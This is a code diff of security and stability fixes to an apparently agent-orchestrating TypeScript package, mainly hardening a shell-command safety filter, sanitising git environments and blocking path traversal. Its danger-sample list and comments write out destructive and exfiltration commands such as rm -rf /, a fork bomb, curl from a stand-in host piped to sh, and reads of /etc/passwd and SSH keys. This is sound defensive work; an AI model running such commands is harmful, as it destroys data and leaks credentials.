+ const DANGEROUS_SHELL_PATTERNS = /(?:;|&&|\|\||\$\(|`|\$\{|\$\w|\b(eval|exec)\b|[<>](?![&\d])|[\r\n])/;
136
140
 
137
141
  /**
138
142
  * Validate a verification gate command is safe to execute.
@@ -195,7 +199,23 @@ async function executeCommand(
195
199
  output += data.toString();
196
200
  });
197
201
 
202
+ // M-9 fix (code-review 2026-06-23): store the timeout handle so it can be
203
+ // cleared when the process exits normally, and unref it so it does not
204
+ // keep the Node.js event loop alive for the full timeoutMs after all work
205
+ // is done (previously it fired shell.kill() on an already-dead process).
206
+ const timer = setTimeout(() => {
207
+ shell.kill("SIGKILL");
208
+ resolve({
209
+ exitCode: -1,
210
+ output: output + "\n[TIMEOUT: Command exceeded limit]",
211
+ durationMs: Date.now() - start,
212
+ });
213
+ }, timeoutMs);
214
+ timer.unref();
215
+ const clearTimer = (): void => clearTimeout(timer);
216
+
198
217
  shell.on("close", (code) => {
218
+ clearTimer();
199
219
  exitCode = code;
200
220
  resolve({
201
221
  exitCode,
@@ -205,22 +225,13 @@ async function executeCommand(
205
225
  });
206
226
 
207
227
  shell.on("error", (err) => {
228
+ clearTimer();
208
229
  resolve({
209
230
  exitCode: -1,
210
231
  output: `Execution error: ${err.message}`,
211
232
  durationMs: Date.now() - start,
212
233
  });
213
234
  });
214
-
215
- // Handle timeout
216
- setTimeout(() => {
217
- shell.kill("SIGKILL");
218
- resolve({
219
- exitCode: -1,
220
- output: output + "\n[TIMEOUT: Command exceeded limit]",
221
- durationMs: Date.now() - start,
222
- });
223
- }, timeoutMs);
224
235
  });
225
236
  }
226
237
 
@@ -208,9 +208,22 @@ export function isDangerous(command: string, options: SafeBashOptions = {}): str
208
208
 
209
209
  if (!enabled) return null;
210
210
 
211
- // Reject overly permissive allowPatterns that would bypass all safety
211
+ // Reject overly permissive allowPatterns that would bypass all safety.
212
+ // M-5 fix (code-review 2026-06-23): the old check only rejected patterns
213
+ // matching BOTH "" and "rm -rf /". A pattern like /.+/ matches every
214
+ // non-empty command (so it never matches "") yet allows anything dangerous.
215
+ // Now we test each allowPattern against a battery of known-dangerous
216
+ // commands; any pattern that matches one is rejected as too permissive.
217
+ const ALLOW_PATTERN_DANGER_SAMPLES = [
218
+ "rm -rf /",
219
+ "rm -rf ~",
220
+ ":(){ :|:& };:",
221
+ "curl http://evil.example/x | sh",
222
+ "cat /etc/passwd",
223
+ "node -e \"require('fs')\"",
224
+ ];
212
225
  for (const pattern of allowPatterns) {
213
- if (pattern.source === ".*" || (pattern.test("") && pattern.test("rm -rf /"))) {
226
+ if (pattern.source === ".*" || ALLOW_PATTERN_DANGER_SAMPLES.some((s) => pattern.test(s))) {
214
227
  logInternalError("safe-bash.permissive-allow-pattern", new Error(`allowPattern rejects nothing: ${pattern}`));
215
228
  throw new Error(`Overly permissive allowPattern rejected: ${pattern}. Use specific patterns only.`);
216
229
  }
@@ -260,6 +273,13 @@ export function isDangerous(command: string, options: SafeBashOptions = {}): str
260
273
  if (backtickRe.test(normalized)) {
261
274
  return "Command blocked by safe_bash: backtick substitution is not allowed";
262
275
  }
276
+ // H-1 fix (code-review 2026-06-23): block Bash process substitution <(...)
277
+ // and >(...). These execute a command in a subshell that bypasses every
278
+ // pipe-based check (e.g. `bash <(curl evil.example/x)` runs curl with no
279
+ // `|` character), and can read/exfiltrate files (`cat <(cat /etc/passwd)`).
280
+ if (/[<>]\s*\([^)]*\)/.test(normalized)) {
281
+ return "Command blocked by safe_bash: process substitution <(...) or >(...) is not allowed";
282
+ }
263
283
  // Block here-docs <<
264
284
  if (/<<\s*['"]?[\w-]+['"]?/.test(normalized) || /\$<<\s*['"]?[\w-]+['"]?/.test(normalized)) {
265
285
  return "Command blocked by safe_bash: here-doc is not allowed";
@@ -364,7 +384,10 @@ export const SAFE_BASH_PRESETS = {
364
384
  additionalPatterns: [],
365
385
  allowPatterns: [COMMON_SAFE_PATTERNS.safePackage],
366
386
  },
367
- /** Minimal - only block catastrophic commands */
387
+ /** Minimal - only block catastrophic commands.
388
+ * NOTE (M-5 fix): safeRead was removed — `\b(cat|head|tail|…)\s` allows
389
+ * reading arbitrary files (cat /etc/passwd, cat ~/.ssh/id_rsa), so it is too
390
+ * permissive for an allowPattern and is rejected by the danger-sample battery. */
368
391
  permissive: {
369
392
  enabled: true,
370
393
  additionalPatterns: [],
@@ -372,7 +395,6 @@ export const SAFE_BASH_PRESETS = {
372
395
  COMMON_SAFE_PATTERNS.safeRm,
373
396
  COMMON_SAFE_PATTERNS.safeGit,
374
397
  COMMON_SAFE_PATTERNS.safePackage,
375
- COMMON_SAFE_PATTERNS.safeRead,
376
398
  ],
377
399
  },
378
400
  /** No safety checks */
@@ -19,6 +19,10 @@ export class LiveConversationOverlay {
19
19
  private frame = 0;
20
20
  private pollTimer: ReturnType<typeof setInterval> | undefined;
21
21
  cachedLines: string[] = [];
22
+ // H-4 fix (code-review 2026-06-23): cap the in-memory line buffer to avoid
23
+ // unbounded growth (OOM) during long-running live sessions. Oldest lines are
24
+ // dropped first; scrollOffset is adjusted to keep the viewport stable.
25
+ static readonly MAX_CACHED_LINES = 5000;
22
26
  private columns: number;
23
27
  private rows: number;
24
28
  private unsubscribe: (() => void) | undefined;
@@ -45,7 +49,7 @@ export class LiveConversationOverlay {
45
49
  const obj = event as Record<string, unknown>;
46
50
  const text = typeof obj.text === "string" ? obj.text : typeof obj.content === "string" ? obj.content : "";
47
51
  if (text.trim()) {
48
- this.cachedLines.push(text);
52
+ this.pushLine(text);
49
53
  if (this.autoScroll) this.scrollOffset = Math.max(0, this.cachedLines.length - this.viewportHeight());
50
54
  }
51
55
  });
@@ -61,6 +65,15 @@ export class LiveConversationOverlay {
61
65
  try { this.refreshSummary(); } catch { /* ignore */ }
62
66
  }
63
67
 
68
+ private pushLine(line: string): void {
69
+ this.cachedLines.push(line);
70
+ if (this.cachedLines.length > LiveConversationOverlay.MAX_CACHED_LINES) {
71
+ const drop = this.cachedLines.length - LiveConversationOverlay.MAX_CACHED_LINES;
72
+ this.cachedLines.splice(0, drop);
73
+ this.scrollOffset = Math.max(0, this.scrollOffset - drop);
74
+ }
75
+ }
76
+
64
77
  private static readonly SUMMARY_PREFIX = "\u200B"; // zero-width space as summary sentinel
65
78
 
66
79
  private safeElapsedMs(act: typeof this.handle.activity): number {
@@ -92,7 +105,7 @@ export class LiveConversationOverlay {
92
105
  if (lastLine?.startsWith(LiveConversationOverlay.SUMMARY_PREFIX)) {
93
106
  this.cachedLines[this.cachedLines.length - 1] = summary;
94
107
  } else {
95
- this.cachedLines.push(summary);
108
+ this.pushLine(summary);
96
109
  }
97
110
  if (this.autoScroll) this.scrollOffset = Math.max(0, this.cachedLines.length - this.viewportHeight());
98
111
  }
@@ -103,6 +103,13 @@ export class LiveRunSidebar {
103
103
  }
104
104
 
105
105
  dispose(): void {
106
+ // M-10 fix (code-review 2026-06-23): clear the auto-close timer so a
107
+ // disposed sidebar (not closed via the normal path) doesn't fire this.done()
108
+ // on a disposed component.
109
+ if (this.autoCloseTimeout) {
110
+ clearTimeout(this.autoCloseTimeout);
111
+ this.autoCloseTimeout = undefined;
112
+ }
106
113
  this.unsubscribeTheme();
107
114
  this.unsubscribeEventBus();
108
115
  }
@@ -6,6 +6,7 @@
6
6
  import type { CrewTheme } from "./theme-adapter.ts";
7
7
  import { DynamicCrewBorder } from "./dynamic-border.ts";
8
8
  import { discoverPiThemes, getActivePiTheme } from "./theme-discovery.ts";
9
+ import { visibleWidth, truncateToWidth } from "../utils/visual.ts";
9
10
 
10
11
  // ---------------------------------------------------------------------------
11
12
  // Types
@@ -143,34 +144,7 @@ const EFFECTIVE_DEFAULTS: Record<string, unknown> = {
143
144
  // Helpers
144
145
  // ---------------------------------------------------------------------------
145
146
 
146
- /** Visible character width (ignores ANSI escapes). */
147
- function visibleWidth(text: string): number {
148
- // eslint-disable-next-line no-control-regex
149
- let w = 0;
150
- let inEscape = false;
151
- for (const ch of text) {
152
- if (ch === "\x1b") { inEscape = true; continue; }
153
- if (inEscape) { if (/[a-zA-Z]/.test(ch)) inEscape = false; continue; }
154
- w++;
155
- }
156
- return w;
157
- }
158
-
159
- /** Truncate string to fit within maxVis visible characters. */
160
- function truncateToWidth(text: string, maxVis: number): string {
161
- // eslint-disable-next-line no-control-regex
162
- let w = 0;
163
- let result = "";
164
- let inEscape = false;
165
- for (const ch of text) {
166
- if (ch === "\x1b") { inEscape = true; result += ch; continue; }
167
- if (inEscape) { result += ch; if (/[a-zA-Z]/.test(ch)) inEscape = false; continue; }
168
- w++;
169
- if (w > maxVis) return result + "…";
170
- result += ch;
171
- }
172
- return result;
173
- }
147
+ /** Visible character width — delegated to the Unicode-aware shared util (M-11 fix). */
174
148
 
175
149
  /** Pad string to exactly maxVis visible width. */
176
150
  function padToWidth(text: string, maxVis: number, padChar = " "): string {
@@ -636,8 +636,8 @@ function shortenPath(p: string): string {
636
636
  return p;
637
637
  }
638
638
 
639
- /** P8: Create clickable file hyperlink via OSC 8 */
640
- function linkPath(p: string, label?: string): string {
641
- const display = label ?? shortenPath(p);
642
- return `\x1b]8;;file://${p}\x1b\\${display}\x1b]8;;\x1b\\`;
643
- }
639
+ /** P8: Create clickable file hyperlink via OSC 8.
640
+ * Removed (M-13 fix, code-review 2026-06-23): this function was dead code (no
641
+ * callers) and interpolated a path into an OSC-8 escape without sanitizing
642
+ * control chars (\x07 BEL / \x1b\\ ST), a potential terminal-injection sink.
643
+ * Re-add with sanitized input if a caller is introduced. */
@@ -12,6 +12,7 @@
12
12
  import { mkdirSync, readFileSync, writeFileSync, existsSync, readdirSync, unlinkSync } from "node:fs";
13
13
  import path from "node:path";
14
14
  import { logInternalError } from "../utils/internal-error.ts";
15
+ import { isSafePathId } from "../utils/safe-paths.ts";
15
16
 
16
17
  // ── Types ────────────────────────────────────────────────────────────────
17
18
 
@@ -88,6 +89,9 @@ export function readIntermediate(
88
89
  phase: string,
89
90
  stepId: string,
90
91
  ): IntermediateOutput | undefined {
92
+ // M-2 fix (code-review 2026-06-23): validate phase/stepId before building the
93
+ // filename to prevent path traversal via a poisoned stepId.
94
+ if (!isSafePathId(phase) || !isSafePathId(stepId)) return undefined;
91
95
  const dir = config.intermediateDir ?? DEFAULT_CONFIG.intermediateDir;
92
96
  const filename = `${phase}-${stepId}.json`;
93
97
  const filePath = path.join(dir, filename);
@@ -1,4 +1,13 @@
1
1
  import { execFileSync } from "node:child_process";
2
+ import { sanitizeEnvSecrets } from "../utils/env-filter.ts";
3
+ import { WINDOWS_ESSENTIAL_ENV_VARS } from "../utils/env-allowlist.ts";
4
+
5
+ // Read-only git operations only (rev-list, rev-parse, log). Sanitize env to
6
+ // avoid leaking API keys/tokens to any git hook/alias/credential-helper.
7
+ // C-1 fix (code-review 2026-06-23): previously inherited the full parent env.
8
+ const GIT_SAFE_ENV = sanitizeEnvSecrets(process.env, {
9
+ allowList: ["PATH", "HOME", "USER", ...WINDOWS_ESSENTIAL_ENV_VARS, "SHELL", "TERM", "LANG", "LC_ALL", "GIT_CONFIG_GLOBAL", "GIT_CONFIG_SYSTEM", "GIT_EXEC_PATH"],
10
+ });
2
11
 
3
12
  export type BranchFreshnessStatus = "fresh" | "stale" | "diverged" | "unknown";
4
13
  export type StaleBranchPolicy = "warn" | "block" | "auto_rebase" | "auto_merge_forward";
@@ -15,7 +24,7 @@ export interface BranchFreshness {
15
24
  }
16
25
 
17
26
  function git(cwd: string, args: string[]): string {
18
- return execFileSync("git", args, { cwd, encoding: "utf-8", stdio: ["ignore", "pipe", "pipe"], windowsHide: true }).trim();
27
+ return execFileSync("git", args, { cwd, encoding: "utf-8", stdio: ["ignore", "pipe", "pipe"], env: GIT_SAFE_ENV, windowsHide: true }).trim();
19
28
  }
20
29
 
21
30
  function count(cwd: string, range: string): number {
package/test-bugs-all.mjs DELETED
@@ -1,89 +0,0 @@
1
- import fs from "node:fs";
2
- import path from "node:path";
3
-
4
- console.log("=== PI-CREW BUG FIXES VERIFICATION ===\n");
5
-
6
- let allPassed = true;
7
-
8
- // Bug #17: Check killAsync is commented out
9
- console.log("Bug #17: Background runner session shutdown fix");
10
- const registerContent = fs.readFileSync("src/extension/register.ts", "utf-8");
11
- const killAsyncMatch = registerContent.match(/\/\/\s*for\s*\(\s*const\s+manifest\s+of\s+manifestCache\.list\(50\)/);
12
- if (killAsyncMatch) {
13
- console.log(" ✅ killAsync loop is commented out");
14
- } else if (registerContent.includes("for (const manifest of manifestCache.list(50))") && !registerContent.includes("// for (const manifest")) {
15
- console.log(" ❌ killAsync loop is NOT commented out - BUG NOT FIXED");
16
- allPassed = false;
17
- } else {
18
- console.log(" ✅ killAsync pattern not found (may have been refactored)");
19
- }
20
-
21
- // Bug #18: Check stdio is ["ignore", "pipe", "pipe"]
22
- console.log("\nBug #18: Child-pi stdin fix");
23
- const childPiContent = fs.readFileSync("src/runtime/child-pi.ts", "utf-8");
24
- const stdioMatch = childPiContent.match(/stdio:\s*\[\s*"ignore"\s*,\s*"pipe"\s*,\s*"pipe"\s*\]/);
25
- if (stdioMatch) {
26
- console.log(" ✅ stdio is ['ignore', 'pipe', 'pipe']");
27
- } else if (childPiContent.includes('stdio: ["pipe", "pipe", "pipe"]')) {
28
- console.log(" ❌ stdio is still ['pipe', 'pipe', 'pipe'] - BUG NOT FIXED");
29
- allPassed = false;
30
- } else {
31
- console.log(" ⚠️ stdio pattern not found in expected format");
32
- }
33
-
34
- // Bug #19: Check temp workspace cleanup
35
- console.log("\nBug #19: Phantom runs temp workspace fix");
36
- const runIndexContent = fs.readFileSync("src/extension/run-index.ts", "utf-8");
37
- const tempDirCheck = runIndexContent.includes("isTempRoot") || runIndexContent.includes("tmpdir") || runIndexContent.includes("tmpDir");
38
- const activeRunContent = fs.readFileSync("src/state/active-run-registry.ts", "utf-8");
39
- const timeoutCheck = activeRunContent.includes("30 * 60 * 1000") || activeRunContent.includes("30*60*1000");
40
- if (tempDirCheck && timeoutCheck) {
41
- console.log(" ✅ Temp workspace detection and 30-min timeout present");
42
- } else if (!tempDirCheck) {
43
- console.log(" ❌ Temp workspace detection NOT found - BUG NOT FIXED");
44
- allPassed = false;
45
- } else if (!timeoutCheck) {
46
- console.log(" ❌ 30-min timeout NOT found - BUG NOT FIXED");
47
- allPassed = false;
48
- }
49
-
50
- // Bug #20: Check needs_attention in completedIds
51
- console.log("\nBug #20: Infinite retry loop fix");
52
- const teamRunnerContent = fs.readFileSync("src/runtime/team-runner.ts", "utf-8");
53
- const needsAttentionMatch = teamRunnerContent.match(/status\s*===\s*"needs_attention"/g);
54
- if (needsAttentionMatch && needsAttentionMatch.length >= 3) {
55
- console.log(" ✅ needs_attention status checks found (" + needsAttentionMatch.length + " places)");
56
- } else {
57
- console.log(" ❌ needs_attention status check NOT found or insufficient - BUG NOT FIXED");
58
- allPassed = false;
59
- }
60
-
61
- // Check the specific completedIds fix
62
- const completedIdsFix = teamRunnerContent.includes('status === "completed" || t.status === "needs_attention"');
63
- if (completedIdsFix) {
64
- console.log(" ✅ completedIds includes needs_attention");
65
- } else {
66
- console.log(" ❌ completedIds does NOT include needs_attention - BUG NOT FIXED");
67
- allPassed = false;
68
- }
69
-
70
- // Check dist file
71
- console.log("\n=== Checking dist/index.mjs ===");
72
- if (fs.existsSync("dist/index.mjs")) {
73
- const distContent = fs.readFileSync("dist/index.mjs", "utf-8");
74
- const distNeedsAttention = distContent.includes('t2.status === "completed" || t2.status === "needs_attention"');
75
- if (distNeedsAttention) {
76
- console.log(" ✅ Bug #20 fix is in dist/index.mjs");
77
- } else {
78
- console.log(" ❌ Bug #20 fix NOT in dist/index.mjs - rebuild needed");
79
- allPassed = false;
80
- }
81
- } else {
82
- console.log(" ⚠️ dist/index.mjs not found - run npm run build first");
83
- }
84
-
85
- console.log("\n" + "=".repeat(40));
86
- console.log(allPassed ? "✅ ALL BUGS ARE FIXED" : "❌ SOME BUGS ARE NOT FIXED");
87
- console.log("=".repeat(40));
88
-
89
- process.exit(allPassed ? 0 : 1);
@@ -1,167 +0,0 @@
1
- /**
2
- * Test for lastActivityAt fallback in heartbeat-watcher
3
- * Verifies that tasks with stale heartbeat but recent lastActivityAt are not marked dead
4
- */
5
-
6
- import test from "node:test";
7
- import assert from "node:assert/strict";
8
- import * as fs from "node:fs";
9
- import * as os from "node:os";
10
- import * as path from "node:path";
11
- import { createMetricRegistry } from "./src/observability/metric-registry.ts";
12
- import { HeartbeatWatcher } from "./src/runtime/heartbeat-watcher.ts";
13
- import { createRunManifest, saveRunTasks, updateRunStatus } from "./src/state/state-store.ts";
14
- import { createManifestCache } from "./src/runtime/manifest-cache.ts";
15
-
16
- const team = { name: "t", description: "", source: "test", filePath: "t", roles: [{ name: "r", agent: "a" }] };
17
- const workflow = { name: "w", description: "", source: "test", filePath: "w", steps: [{ id: "s", role: "r", task: "x" }] };
18
-
19
- test("HeartbeatWatcher uses lastActivityAt fallback - task NOT dead when heartbeat stale but activity recent", () => {
20
- const cwd = fs.mkdtempSync(path.join(os.tmpdir(), "pi-crew-lastactivity-at-"));
21
- try {
22
- fs.writeFileSync(path.join(cwd, "package.json"), "{}", "utf-8");
23
- const created = createRunManifest({ cwd, team, workflow, goal: "hb" });
24
- const manifest = updateRunStatus(created.manifest, "running", "running");
25
-
26
- // Create task with STALE heartbeat (old lastSeenAt) but RECENT lastActivityAt
27
- // Heartbeat is from Jan 1, 2026 (stale - 10 minutes old)
28
- // lastActivityAt is from Jan 1, 2026 00:08:00 (2 minutes old - within dead threshold of 5 minutes)
29
- const tasksWithHeartbeat = created.tasks.map((task) => ({
30
- ...task,
31
- status: "running",
32
- heartbeat: { workerId: task.id, lastSeenAt: "2026-01-01T00:00:00.000Z", alive: true },
33
- // Agent is still active - lastActivityAt is recent (within dead threshold)
34
- agentProgress: {
35
- lastActivityAt: "2026-01-01T00:08:00.000Z", // 2 minutes ago
36
- currentTool: "working",
37
- toolCount: 5,
38
- tokens: 1000,
39
- turns: 2
40
- }
41
- }));
42
-
43
- saveRunTasks(manifest, tasksWithHeartbeat);
44
- const cache = createManifestCache(cwd, { watch: false, debounceMs: 0 });
45
- const notifications = [];
46
- let deadletters = 0;
47
- const watcher = new HeartbeatWatcher({
48
- cwd,
49
- manifestCache: cache,
50
- registry: createMetricRegistry(),
51
- router: { enqueue: (n) => { notifications.push(n.id ?? ""); return true; } },
52
- deadletterTickThreshold: 3,
53
- onDeadletterTrigger: () => { deadletters += 1; }
54
- });
55
-
56
- // Simulate time at 00:10:00 - 10 minutes after heartbeat, 2 minutes after activity
57
- // With fallback: activity age = 2 minutes < dead threshold (5 minutes) -> should be warn/stale, not dead
58
- watcher.tick(Date.parse("2026-01-01T00:10:00.000Z"));
59
- watcher.tick(Date.parse("2026-01-01T00:10:05.000Z"));
60
- watcher.tick(Date.parse("2026-01-01T00:10:10.000Z"));
61
-
62
- // Should NOT have any dead notifications because lastActivityAt is recent
63
- assert.equal(notifications.length, 0, "Should NOT mark task dead when lastActivityAt is recent (within dead threshold)");
64
- assert.equal(deadletters, 0, "Should NOT trigger deadletter when lastActivityAt is recent");
65
-
66
- watcher.dispose();
67
- cache.dispose();
68
- } finally {
69
- fs.rmSync(cwd, { recursive: true, force: true });
70
- }
71
- });
72
-
73
- test("HeartbeatWatcher marks task dead when BOTH heartbeat and lastActivityAt are stale", () => {
74
- const cwd = fs.mkdtempSync(path.join(os.tmpdir(), "pi-crew-both-stale-"));
75
- try {
76
- fs.writeFileSync(path.join(cwd, "package.json"), "{}", "utf-8");
77
- const created = createRunManifest({ cwd, team, workflow, goal: "hb" });
78
- const manifest = updateRunStatus(created.manifest, "running", "running");
79
-
80
- // Create task with BOTH stale heartbeat AND stale lastActivityAt
81
- // Heartbeat is from Jan 1, 2026 00:00:00 (10 minutes old)
82
- // lastActivityAt is also from Jan 1, 2026 00:00:00 (also 10 minutes old - beyond dead threshold)
83
- const tasksWithHeartbeat = created.tasks.map((task) => ({
84
- ...task,
85
- status: "running",
86
- heartbeat: { workerId: task.id, lastSeenAt: "2026-01-01T00:00:00.000Z", alive: true },
87
- agentProgress: {
88
- lastActivityAt: "2026-01-01T00:00:00.000Z", // 10 minutes old - beyond dead threshold
89
- currentTool: "done",
90
- toolCount: 5,
91
- tokens: 1000,
92
- turns: 2
93
- }
94
- }));
95
-
96
- saveRunTasks(manifest, tasksWithHeartbeat);
97
- const cache = createManifestCache(cwd, { watch: false, debounceMs: 0 });
98
- const notifications = [];
99
- let deadletters = 0;
100
- const watcher = new HeartbeatWatcher({
101
- cwd,
102
- manifestCache: cache,
103
- registry: createMetricRegistry(),
104
- router: { enqueue: (n) => { notifications.push(n.id ?? ""); return true; } },
105
- deadletterTickThreshold: 3,
106
- onDeadletterTrigger: () => { deadletters += 1; }
107
- });
108
-
109
- // Simulate time at 00:10:00 - both heartbeat and activity are 10 minutes old
110
- watcher.tick(Date.parse("2026-01-01T00:10:00.000Z"));
111
- watcher.tick(Date.parse("2026-01-01T00:10:05.000Z"));
112
- watcher.tick(Date.parse("2026-01-01T00:10:10.000Z"));
113
-
114
- // SHOULD have dead notifications because BOTH are stale (> 5 minutes)
115
- assert.ok(notifications.length > 0, "Should mark task dead when BOTH heartbeat and lastActivityAt are stale");
116
- assert.ok(deadletters > 0, "Should trigger deadletter when BOTH are stale");
117
-
118
- watcher.dispose();
119
- cache.dispose();
120
- } finally {
121
- fs.rmSync(cwd, { recursive: true, force: true });
122
- }
123
- });
124
-
125
- test("HeartbeatWatcher without lastActivityAt still marks stale heartbeat as dead", () => {
126
- const cwd = fs.mkdtempSync(path.join(os.tmpdir(), "pi-crew-no-activity-"));
127
- try {
128
- fs.writeFileSync(path.join(cwd, "package.json"), "{}", "utf-8");
129
- const created = createRunManifest({ cwd, team, workflow, goal: "hb" });
130
- const manifest = updateRunStatus(created.manifest, "running", "running");
131
-
132
- // Create task with stale heartbeat but NO lastActivityAt
133
- const tasksWithHeartbeat = created.tasks.map((task) => ({
134
- ...task,
135
- status: "running",
136
- heartbeat: { workerId: task.id, lastSeenAt: "2026-01-01T00:00:00.000Z", alive: true },
137
- // No agentProgress at all
138
- }));
139
-
140
- saveRunTasks(manifest, tasksWithHeartbeat);
141
- const cache = createManifestCache(cwd, { watch: false, debounceMs: 0 });
142
- const notifications = [];
143
- let deadletters = 0;
144
- const watcher = new HeartbeatWatcher({
145
- cwd,
146
- manifestCache: cache,
147
- registry: createMetricRegistry(),
148
- router: { enqueue: (n) => { notifications.push(n.id ?? ""); return true; } },
149
- deadletterTickThreshold: 3,
150
- onDeadletterTrigger: () => { deadletters += 1; }
151
- });
152
-
153
- // Simulate time at 00:10:00 - heartbeat is 10 minutes old
154
- watcher.tick(Date.parse("2026-01-01T00:10:00.000Z"));
155
- watcher.tick(Date.parse("2026-01-01T00:10:05.000Z"));
156
- watcher.tick(Date.parse("2026-01-01T00:10:10.000Z"));
157
-
158
- // SHOULD have dead notifications because heartbeat is stale and no fallback
159
- assert.ok(notifications.length > 0, "Should mark task dead when heartbeat stale and no lastActivityAt");
160
- assert.ok(deadletters > 0, "Should trigger deadletter when no fallback available");
161
-
162
- watcher.dispose();
163
- cache.dispose();
164
- } finally {
165
- fs.rmSync(cwd, { recursive: true, force: true });
166
- }
167
- });
package/test-tp.mjs DELETED
@@ -1,12 +0,0 @@
1
- import { formatToolProgress, formatCurrentToolLine } from "./src/runtime/tool-progress.ts";
2
-
3
- const progress = {
4
- recentTools: [{ tool: "bash", args: "ls", endedAt: "2024-01-01T00:00:00.000Z" }],
5
- toolCount: 1,
6
- activityState: "active"
7
- };
8
-
9
- const display = formatToolProgress(progress);
10
- console.log("currentTool:", display.currentTool);
11
- console.log("toolCount:", display.toolCount);
12
- console.log("TEST PASSED if no errors above");